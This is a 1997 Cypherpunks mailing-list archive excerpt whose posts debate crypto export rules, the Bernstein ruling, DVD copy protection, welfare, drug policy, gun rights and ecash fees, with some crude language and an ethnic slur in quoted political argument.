Exporting the detailed plans for encryption hardware might be fun,
especially if the hardware is very generic (say, a speech card for
a Nintendoid with some crypto firmware for the Nintendoid's CPU, 
or a cellphone-modem with crypto pumpware.)

About the only Real Hardware I can see having a chance is
some sort of ASIC-based device like a pocket organizer or cashcard
that does encryption as an incidental part of some other function,
such as an authentication protocol.  But if it's a cash card,
the rules have been flexible enough to handle permits for 
banking-only devices, and you don't get an interesting Constitutional case
about being wrongly denied an export permit when they give you
a permit, or at least give out permits for functionally similar products.

I suppose there'd be some hack value in exporting a smart-cellphone
with downloadable firmware/javaware (e.g. for multiple language support)
with all the right export permits, and then releasing the crypto code 
from replay or kremvax or www.hongkong.cn , and using it as precedent
for your application for exporting the crypto-equipped version.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 29 Aug 1997 14:35:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Welfare / Norplant
In-Reply-To: <199708251623.JAA15070@toad.com>
Message-ID: <3.0.2.32.19970828203213.02f5ada8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:49 AM 8/25/97 -0700, Tim May wrote:
>Possibly more palatable to the majority not already on welfare, but hardly
>an incentive to a single mother contemplating the increase in her
>AFDC/WIC/etc. benefits should she add to her brood.

>At 5:33 AM -0700 8/25/97, Peter Trei wrote:
>>Offer a 'birthday present' program, under which *any*

As with many government programs, and many attempts to fix them,
it's going for the wrong problem, and tieing in to a lot of emotional
hidden agendas.  The real problems are that we'd rather not keep paying 
money to people many of us disapprove of, and that doing so in the 
way that it's been done has failed badly, and created an underclass of
more people that we disapprove of that are getting money, as well as
an overclass of welfare bureaucrats who do a better job of evading 
disapproval, and the whole process tends to create lots of hostility,
in no small part because not only is having to live on the dole demeaning,
but lots of people (including the above-mentioned bureaucrats) want to
make sure it's as demeaning as a modern liberal society will allow.

The obvious approach to the problem of people on welfare getting more
money if they have kids is not to refuse their right to have kids,
it's to not give them more welfare money.  Regardless of the consequences.
(Private charity is a totally different case, none of the government's 
business, though the government has corrupted a lot of the big players
like Catholic Charities and the Salvation Army into running welfare
subcontracting with government money.)  Maybe the way to implement it
is to cap the monthly amount, maybe it's to cap the lifetime amount
(so welfare mothers know that if they want more money this month
based on having more kids, they'll get fewer years of support.)

Milton Friedman's socialistic approach to the problem, the Negative
Income Tax, is also a partial win.  It proposes that the paternalistic
welfare bureaucrats haven't done much good in reducing the
number of people dependent on welfare, so fire them.
Use the well-known evil bureaucracy, the IRS, and have it just give money
back to people with sufficiently low incomes.  Maybe you'll get more
welfare recipients who aren't the "deserving poor", but so what;
probably there will be fewer "welfare queens" multi-dipping,
and maybe even there'll be more welfare mothers with (gasp)
their husbands or boyfriends living with them, but you'll have
also gotten rid of a class of parasitic bloodsuckers who've probably
contributed substantially to the dependency of the poor,
and saved enough money to make up for the extra undeserving poor.

[ObCryptoPolicyContent]  After we get rid of those bloodsucking bureaucrats,
or maybe even before, we can make it harder for the IRS to stay in business
as well, by moving much of the economy out of their reach into cash :-)
And the off-the-books cash economy is not unfamiliar to the poor, either;
maybe we can learn some tips from them....]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sam Perry <sam.perry@reuters.com>
Date: Fri, 29 Aug 1997 14:28:45 +0800
To: cypherpunks@toad.com
Subject: Re: Sit, Bubu. Sit! / Re: Stay issued; modified stay to follow
Message-ID: <B0000627115@ritig6.rit.reuters.com>
MIME-Version: 1.0
Content-Type: text/plain




Thank you for your e-mail message. Sam Perry (sam.perry@reuters.com) is on
a sabbatical until late September. If this involves a pending news event
before then, please contact my colleagues at kourosh.karimkhany@reuters.com
and therese.poletti@reuters.com.
In the Interim, I can be reached via e-mail at sam.perry@wynd.net. Thank
you and all the best


------------------------------------------------------------------------
Any views expressed in this message are those of the individual  sender,
except  where  the  sender  specifically  states them to be the views of
Reuters Ltd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 29 Aug 1997 09:04:19 +0800
To: cypherpunks@Algebra.COM
Subject: 90 degree turn Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708290057.UAA17701@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:34 PM 8/28/97 PDT, John Smith wrote:
...
>Keep in mind too that we should try not to rely too much on
>hindsight.  Camps like Manzanar were relatively benign.  But
>instead of a Japanese American, consider a Jew in Poland.  He's in
>the same situation.  Hindsight tells us that maybe he'd do better
>to drive off the cops and then try to escape before they come back.
>Few Jews anticipated that the internment they were sent to was going
>to be any worse than how it turned out for the Japanese Americans.
>So if you want to say that the Japanese was not justified in shooting
>because the camps were likely to be safe, the same would apply to
>the Jew.
...

I didn't find out about the Japaneese concentration camps until after I saw
the karate kid and had it explained to me.  As I had most of my high school
career ahead of me at the time, that much info should have made me aware of
the lessons covering them in my various high school history classes.  Nearly
every history class I have had has either stopped sometime around the end of
the civil war, stayed in Oklahoma, stopped around WWI with the United States
held as the hero of the event, or glossed over the entire Japaneese
concentration camp story.
And I thought my teachers were fairly open minded.
And we fault the Germans and Japaneese for not owning up to thier wartime
misdeeds.

Incidently, I didn't know that many Jews were turned away from the united
states borders during WWII either until an article came out about it in one
of the weeklies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 29 Aug 1997 09:07:08 +0800
To: Steve Schear <cypherpunks@Algebra.COM
Subject: TWIST Re: Socio-Economic Cults
Message-ID: <199708290101.VAA18128@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:02 PM 8/28/97 -0700, Steve Schear wrote:
>
>>Maybe not, but how about the suggestion earlier to shoot people who
>>are painting graffiti on your property?  What happens if someone gets
>>shot in that situation, or in some other gray area?
>
>This is an ideal value-added extension to all those surveillence TV cameras
>springing up, especially on private property. With a bit of technology the
>cameras and guns could automatically identify graffiti activity and alert a
>security person or the resident. Tranc-type guns would be mounted on the
>camera platforms.  The artists would often be found facedown on the
>pavement when the police arrive.

So the police get to your house only to find an uncounsious St. Benard face
down in the pavement because your security system identified him as a
graffitte artist spraypainting something on the side of your house while
wearing a weird fur coat.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Fri, 29 Aug 1997 00:44:48 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: New service allows customers to track stolen PCs (fwd)
Message-ID: <199708282151.VAA00958@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** New service allows customers to track stolen PCs

Absolute Software announced Wednesday the CompuTrace Online Monitoring
Service, a new service that provides CompuTrace customers with various
PC monitoring reports via a private, secured Internet website.
Customers will now have access to the whereabouts of their PCs via the
Online Monitoring Service from any location at any time. CompuTrace's
technology silently calls in to the CompuTrace Monitoring Center on a
regular basis. The activity is reported to customers on a regular
basis, or via the new CompuTrace Online Monitoring Service. (PR
Newswire) For the full text story, see
http://www.infobeat.com/stories/cgi/story.cgi?id=4650167-e2a              

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 29 Aug 1997 14:28:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: need confirmation of DVD/CSS crack in China ...
In-Reply-To: <m0x3xA1-0003xeC@as-node.jena.thur.de>
Message-ID: <3.0.2.32.19970828224436.0075c17c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:30 AM 8/28/97 DST, Jenaer Mixmaster Anonserver wrote:
>  DVD encryption is described on the Web at:
>
>    http://www.kipinet.com/tdb/tdb_oct96/feat_protection.html
>
>  There's a very simple way to 'break' it - you just copy the entire disk.
>Key-size is irrelevant. 

I fail to see how you can prevent copying an entire disk. If the controller
can access the data, I can copy it. Unless of course it will be made
illegal to sell DVD controllers that output the raw data stream.

Come to think of it, that must be coming.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 29 Aug 1997 11:05:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708281809.LAA22962@f37.hotmail.com>
Message-ID: <3.0.2.32.19970828225801.038810d4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 8/28/97 -0400, stonedog@ns1.net-gate.com wrote:

>You might feel that the example that you responded to was a bit too
>simplistically polemic, but I think for many people, especially those in
>this forum, your hypothetical situation is not at all an ethical dilemma. 

Or as I said to people waiting in line to see "Schindler's List" as I was 
leaving the theater, "When you watch this film remember that this is what 
happens when the government has all the assault rifles and the people don't."

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNAY6t4VO4r4sgSPhAQGSdQP/aPhLU9X4t5I1al+5+rQ6VGJFr/x56ZCr
53c/ABCkCCHSR9OoBcOoSkWYHIO7MI80SEZDUAGtcpRPo53mgK8mVOKik6RQy3kO
HadYqp0FkMq5wl7CDqvm2Pw79MZlKLplwwFZodq/NgT5BFbALx5fB6a+Dr9/GoQv
0uvENnhqb4E=
=dN0J
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 29 Aug 1997 14:28:00 +0800
To: Alex Le Heux <alexlh@xs4all.nl>
Subject: Re: Welfare Solution #389
In-Reply-To: <Pine.LNX.3.95.970828181806.285D-100000@smoke.suba.com>
Message-ID: <3.0.2.32.19970828231634.0075f234@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:47 AM 8/29/97 +0200, Alex Le Heux wrote:
>Most of them do not like the situation they're in. Try _really_ 
>talking to some of them. The problem is that by the time they're 
>outcasts from society, the only thing left in life that'll take away 
>the pain (physical pain as well, from withdrawel) is the drug. Make 
>these people feel part of society again, and they suddenly gain a lot 
>of strength. Enough strength in many cases to enable them to give up 
>the drugs or at least lower their consumption to a level where they 
>can actually function again.

I must agree with Alex on this one. Why a person became addicted is
irrelevant. They are addicted and the question for the rest of us must
become "how can we minimize the impact their addiction has on us". It has
been shown that people usually grow out of Heroin addiction after time. The
non-black market cost of their addiction is probably less than a dollar per
day. The cost they impose on society when having to support their habit
through the black market is much higher. Even without involving government,
it would be trivial to raise the funds from donations to keep all addicts
supplied with their drugs until such time that they are capable to give up
the drugs entirely.

BTW, I just found out that William S. Burroughs died. No, he didn't grow
out of it an remained an Heroin addict until his death of old age. He must
have been well into his 80's. And he was no burden on society. The
royalties from his  works could have fed even the most severe addiction.

His writings influenced me in a big way during my youth. [This may be
off-topic, but if there is any list on which people might care about the
death a revolutionary like Burroughs, it is Cypherpunks].


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 29 Aug 1997 14:31:39 +0800
To: cypherpunks@Algebra.COM
Subject: Shrinks as Narcs for the State
In-Reply-To: <199708282114.RAA01023@www.video-collage.com>
Message-ID: <v03102809b02c194fc6a4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:14 PM -0700 8/28/97, Sean Roach wrote:

>Although I deleted it for space, you mentioned Doctors.  A lot of people are
>afraid to tell thier doctors everything that the doctors need to know to do
>thier jobs because the patients are afraid that, as illegal as it may be,
>the patients medical history may end up in the hands of insurers, employers,
>prospective employers, and numerous other people who may want it but
>shouldn't have it.
>

I know a psychologist/therapist who is very worried about this issue, as
are his associates. His records are no longer his, as he must inform the
insurance agencies who are paying for his services what the diagnosis of a
patient is. And this diagnosis can be found by all sorts of snoops...there
have even been a few cases where the records inadvertently were placed in
directories where Web crawlers could find them.

And with Blacknet sorts of offshore data bases, a CD-ROM or DVD containing
many records can be bought and sold...

Further, those who visit doctors and shrinks are at risk for other reasons.
The State has decreed that they "narc out" (inform on) their patients. Cf.
Tarasoff, for example, which requires a mental health care professional,
counselor, or doctor to inform the State if a client makes certain kinds of
threats. This threat may cause the client to be locked up for observation.

(Many think this is as it should be. But why is this so? We don't require
non-doctors and non-shrinks to report such threats. If Joe Cypherpunk tells
me at a Cypherpunks meeting he thinks Janet Reno should be blown up on her
September 7th visit to San Jose, I am under no obligation whatsoever to
assist the police in verifying what his real intentions are, or of
cooperating in any way. So why should a psychiatrist become a secret agent
for the State? We live in a police state.)


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 29 Aug 1997 15:26:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stewart Baker on Bernstein encryption decision (fwd)
Message-ID: <3.0.32.19970828235448.0069db08@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

>I share part of the blame here; I forwarded Baker's message to
>cypherpunks.

Now, you shouldn't blame the messenger.


>I should point out that Baker is an interesting fellow. Check out his
>article on Japan's crypto export ctrls in last Oct? Wired. He currently
>represents Netscape; he's one of two lawyers in DC who does.

He's an interesting fellow, all right; it can't be denied that his current
position is a rather opportunistic conversion from his previous attitude.
Like Bill Frantz said, it  "indicates that the forces of crypto repression
are in retreat."

What would be *really* interesting is to know the reasons, their own
explanations, for this.   I mean, they can't expect that no one will notice
the change.
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 29 Aug 1997 15:51:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: need confirmation of DVD/CSS crack in China ...
In-Reply-To: <m0x3xA1-0003xeC@as-node.jena.thur.de>
Message-ID: <v0310280cb02c2c042bb8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:44 PM -0700 8/28/97, Lucky Green wrote:
>At 07:30 AM 8/28/97 DST, Jenaer Mixmaster Anonserver wrote:
>>  DVD encryption is described on the Web at:
>>
>>    http://www.kipinet.com/tdb/tdb_oct96/feat_protection.html
>>
>>  There's a very simple way to 'break' it - you just copy the entire disk.
>>Key-size is irrelevant.
>
>I fail to see how you can prevent copying an entire disk. If the controller
>can access the data, I can copy it. Unless of course it will be made
>illegal to sell DVD controllers that output the raw data stream.
>
>Come to think of it, that must be coming.

The way it was done with DAT (Digital Audio Tape), the product similar to
DVD in so many ways, was to restrict the availability of DAT recorders
which could faithfully record the output of other DAT machines. The SCMS
system, or "Serial Copy Management System," has been in all consumer-grade
DAT machines.

Pro-grade DAT machines have no SCMS, or  SCMS-defeat switch. And there are
various SCMS defeaters widely available.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 29 Aug 1997 14:23:43 +0800
To: cypherpunks@toad.com
Subject: Aussies discover regulatory arbitrage...
Message-ID: <v03110742b02c0bf605e9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text



>From today's Australian Financial Review.

	http://www.afr.com.au/content/970829/inform/inform1.html

   ATO urges no Internet slug

          _By Hans van Leeuwen_

   The Australian Tax Office's attempt to tax electronic commerce should
   include no new taxes and as little extra red tape as possible,
   according to the recommendations of a major ATO report to be released
   today.

   The report, _Tax and the Internet_, urges close monitoring of some key
   industries with a growing Internet presence -- including computer
   software, news and information, recorded music, gambling, travel
   services and retail goods.

   But its emphasis is on creating a tax and regulatory environment that
   keeps the online industries in Australia, rather than driving them to
   more lenient tax jurisdictions.

   The report will be the basis for discussions with the information
   industry on how the ATO can prevent the undermining of the tax base by
   electronic commerce.

   The report said the ATO would need to tax and regulate the Internet
   only in concert with other countries if it was to encourage online
   businesses and industries in Australia.

   "As the Internet allows electronic payment system providers to locate
   their operations anywhere in the world, they might choose to flee a
   jurisdiction that unilaterally introduces a strong regulatory regime .
   . . Unilateral action may be more damaging than no action," the report
   said.

   But the tax base must be protected, with electronic commerce posing a
   significant threat in the longer term to the revenue base of many
   taxes.

   "There are not too many existing taxes worldwide that are not
   vulnerable," the Tax Commissioner, Mr Michael Carmody, said yesterday.

   The recommendations to strengthen the tax policing of the Internet
   included:
     * Numbers displayed on websites.
     * Licence commercial internet sites ("webshops") and webshop hosts.
     * Introduce denomination limits for electronic cash, like those
       already existing for physical cash.
     * Review the current wholesale sales tax categories, given that new
       products were being thrown up by the process of digitisation.

   But Mr Carmody ruled out introducing any taxes on data flows, such as
   a bit tax, in the short term.

   "We don't see major advantages to that at the moment. For Australia to
   jump immediately to a bit tax would just drive Australian business out
   of the country," he said.

   The report said electronic commerce threw up some tough challenges to
   tax administrations, including the difficulty in identifying the
   parties to an electronic transaction, the ability of cyber- businesses
   to store records offshore and encrypt them, and the removal of "middle
   men" -- such as wholesalers and brokers -- from the distribution
   process, who usually make the ATO's tracking of transactions easier.

   But Mr Carmody said the ATO would not be assuming that the reason
   businesses went online was to avoid tax.

   "It's just another medium of transacting business, which does not of
   itself say they're not going to meet their tax obligations," he said.
   "But there are concerns that the Internet opens up wider fields for
   those who are seeking to avoid their liabilities."

     _________________________________________________________________


   [27]Back To Top _(c) This material is subject to copyright and any
   unauthorised use, copying or mirroring is prohibited._

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 29 Aug 1997 16:40:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <19970826193101.4989.qmail@hotmail.com>
Message-ID: <19970829013540.13855@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Aug 28, 1997 at 06:17:09PM -0500, snow wrote:
[...]
> 
> 	There is also a clear difference between shooting a guy carrying 
> your stereo out of the house, and a guy who probably carried a stereo out 
> of the house. 

Anyone can construct scenarios where the distinction is as fuzzy as
you please -- eg -- your best friend is getting you a new stereo for
your birthday, and is arranging a surprise. 

Ambiguous situations are a ubiquitous feature of reality.  You may 
think in black in white, but the world is not only many shades of 
gray -- it's a parade of color.

The fundamental problem is that people are different, and have
different moral values.  Some people think that murder is wrong under
any circumstances.  Others think it is all right to kill in
"self-defense" (whatever that means).  Some people think it is
perfectly moral to kill in defense of property.  Some people think it
is all right to kill if they are insulted.  Some think it is ok to
kill an unfaithful spouse.  Some people think it is all right to kill
in a burst of righteous or temporary insane anger.  Some people excuse
a murder when when the killer is drunk.  Each of these are honest,
real beliefs on the part of a significant fraction of humanity. 

> > The current system stinks, but your idea is no better.
> 
> 	Well, the current system stinks, but enough people are buffalo'd into
> thinking that it works, so it is doubtful that it will get better.

People are not "buffalo'd" -- they are happy with a system that gives 
them a good life.  Therefore, it has to get worse before it gets 
better.  

> If on the 
> otherhand the system ceased to exist, maybe it could be improved.

Ah yes -- libertopia.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 29 Aug 1997 15:03:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: America's Concentration Camps
In-Reply-To: <Pine.BSI.3.93.970828151321.13124A-100000@ns1.net-gate.com>
Message-ID: <v03110749b02c0ea0a664@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:19 pm -0400 on 8/28/97, Tim May wrote:


> Like the Jews in Europe, the Japs were just too fucking timid and
> well-mannered.

Actually, they were subjected to hundreds of years in which weapons were
only permitted to be handled by a special warrior caste.

Sound familiar?

Which reminds me...

Peter Cassidy's just starting a book called "Fortress America", which talks
about where all the LEA money goes. You know, for useful stuff, like
armored personnel carriers, and ARs, and body armor, and flammable teargas,
and stun grenades, and black nomex balaclavas, and kevlar gloves.

Oh, well, so much for those 100,000 cops Billary promised us. Maybe it's
just as well? I mean what if we had 100,000 new cops all wanting *their*
black nomex balacalvas and kevlar gloves too...

A spook's gotta sell his toys somewhere, I suppose. It's a living, I guess.
I just wish they'd find a more useful line of work. Like lawyering, or
something...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 29 Aug 1997 07:55:03 +0800
To: cypherpunks@cyberpass.net
Subject: Cypherpunks Meeting / Tokyo 9/6
Message-ID: <199708282349.BAA24546@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



for more info, email yt@htp.org

yt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Fri, 29 Aug 1997 10:09:31 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: ncash? (was Re: pgp details)
Message-ID: <19970829020009.7246.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 26, 13:47, Mike wrote:
} Subject: Re: ncash? (was Re: pgp details)
> Lucky Green wrote:
> >It doesn't provide payee anonymity, coins are neither divisible nor
> transferable, why do you bother?
> 
> Could it be... because Chaum won't license?

That's not nescessary, actually.  All you need is for the mint to put _no_
information at with the coin except it's serial number and a signatrue
(possibly a timestamp as well).  Voila, anonymity.  I was thinking of
implementing a low-cost server ofthis type, but there's the trust problem: this
nym is relatively new...

> Any ecash is better than none, and until Chaum's patent expire we
> probably won't have an ecash system with all the bells and whistles.
> Just consider that Mark Twain has been up for two years and they still
> don't have a client that implements crash recovery (recover your money
> if your disk crashes)! At last count they had all of 32 merchants signed
> up.

There might be other reasons for this:  have you looked at their _fees_???
Holy crap!  That's the only reason I don't have an account.  They're charging
top dollar for every aspect of a system that has it's only overhead in minimal
amounts of CPU time.  I was thinking of having my server charge only on
deposit of real money and only a tiny amount (like 1-2%).  I.e. no charge at
all to open an account to recieve money...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Mailing List <cypherpunks@toad.com>
Date: Fri, 29 Aug 1997 16:26:04 +0800
To: cypherpunks@toad.com
Subject: Sit, Bubu. Sit! / Re: Stay issued; modified stay to follow
Message-ID: <340684AE.3F63@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cindy Cohn wrote:
> 
> During a conference call with counsel today, Judge Patel issued a stay of
> the injunctive relief issued in her Opinion of August 25, 1997, effective
> until September 8.

  Why are these dinosaurs fucking away perfectly good taxpayer's money
trying to shore up the walls of a crumbling civilization?

NEWS FLASH!!!   THE GENIE *WON'T* GO BACK IN THE BOTTLE 
                ---------------------------------------
  Before the ink had dried on Judge Patel's ruling, 2,000,000 emails of
Professor Bernstein's work were on their way overseas, to every port of
call. (Courtesy of Email Blaster, that wonderful progam that tells us,
fifty times a day, how to "MAKE MONEY FA$T!!!")
 
>  On September 8 (or sooner if we get the papers to her) the Court she will
> issue a formal Stay Pending Appeal which will stay the injunctive relief
> issued in her Opinion of August 25, 1997, except that an injunction shall be
> reinstated to prevent the prosecution of Professor Bernstein for the
> "unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
> and any later versions of that program which he has developed.

  Hell, Professor Bernstein can _import_ it now!
  By September 8, the program will be obsolete, having been tweaked
upward
a few generations by Iraquian programmers. I respectfully requested that
the Iraquis make any future versions of the program available to
American
youth who have to flee to Hitler's homeland with their website in order
to avoid being persecuted for their sexual predeliction.
 {See - http://www.guidemag.com/newsslant/vigilante-censors.html }

> This eliminates, at least for the meantime, the injunctive relief granted to
> Bernstein as to any other computer programs which he may have developed or
> otherwise wished to publish.  It also eliminates the protections for persons
> other than Professor Bernstein.

  No it doesn't. Haven't you heard of strong crypto?
  Thank you for pointing out that Phil Zimmerman wishes to protect me,
and Judge Patel wishes, on behalf of the government, to "eliminate the
protections" which strong encryptions affords me.

  The governement can't even protect themself, let alone the citizens,
as evidenced by the fact that the current sport of teenage hackers
across the nation is to send strong encryption overseas by way of the
government's email systems. (Can you say FBI? Sure you can! Can you 
say IRS? Sure you can!) Yet these dweebs want to destroy an industry 
that *is* capable of providing the citizens protection? (Considering 
the INSLAW affair, perhaps it would be more fitting to say "destroy 
_another_ industry.")

> The government has said that it may still challenge this more limited stay
> in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
> from the 9th Circuit.

  I hope these idiots are having fun and making lots of money playing
their dinosaur games, because they are certainly accomplishing the
opposite of what they claim to be trying to do.
  The most that the dinosaurs in D.C. can manage to do, is to drag all
of the American business interests down into the ashes of history with
them as they attempt to build an Electromagnetic Curtain behind which
to imprison their citizens.
  Well, the CypherPunks were digging tunnels before the government even
knew they were predestined to build the Wall, so the fascist censors are 
sucking hind-tit and will, in all likelihood, continue to do so.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
TruthMonger, CoE <tm@dev.null>
Official Spokesperson for:
Cypherpunks Cult of One,
DoWell, Saskatchewan Division

"Give me bandwidth, or give me death."
          -Admiral B. d'Shauneaux





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Fri, 29 Aug 1997 14:23:03 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <19970829031134.15422.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 28,  9:59, Ian Sparkes wrote:
} Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> At 14:43 28.08.97 +1000, you wrote:
> >On Wed, 27 Aug 1997, Adam Back wrote:
> >
> >[...]
> >
> >> If one person becomes too much of a nuisance (real trigger happy 
> for
> >> ultra minor infractions [...] relatives, friends, or concerned 
> citizens
> >> will correct (fill trigger happy person with lead).
> >
> >Dosn't help the poor person who got shot dose it?  Am I mad to 
> beleave
> >that getting killed is a reduction of basic civil liberties?
> >
> >> That's how the wild west worked anyway... outlaws didn't last that
> >> long.
> >
> >Nor did the wild west.
> >
> 
> And nor the innconent bystanders. The 'you pissed me off - bang bang 
> you're dead' mentality was the reason for one of the largest 
> genocides in human history.

One assumes you are reffering to the wild west again?

Regardless, a point about the wild west:  I have it from a fairly reliable
source that in teh entire time period labeled 'The Wild West', there were about
8 shooting deaths in Dodge City (a particularily 'Wild' town), of which 5 were
shotgun deaths....  Makes you wonder.

I also have a pointer to an excellent, well researched US paper on why gun
control is bad, if anyone wants it, but it's been posted here before I'm pretty
sure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Fri, 29 Aug 1997 14:35:45 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: Monkey Wrench into the works
Message-ID: <19970829032821.9582.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 27, 10:44, Robert Hettinga wrote:
} Subject: Monkey Wrench into the works
> 
> --- begin forwarded text
> 
> 
> Reply-To: "Myron Lewis" <mrlewis@keygen.com>
> From: "Myron Lewis" <mrlewis@keygen.com>
> To: "Robert Hettinga" <rah@shipwright.com>
> Subject: Monkey Wrench into the works
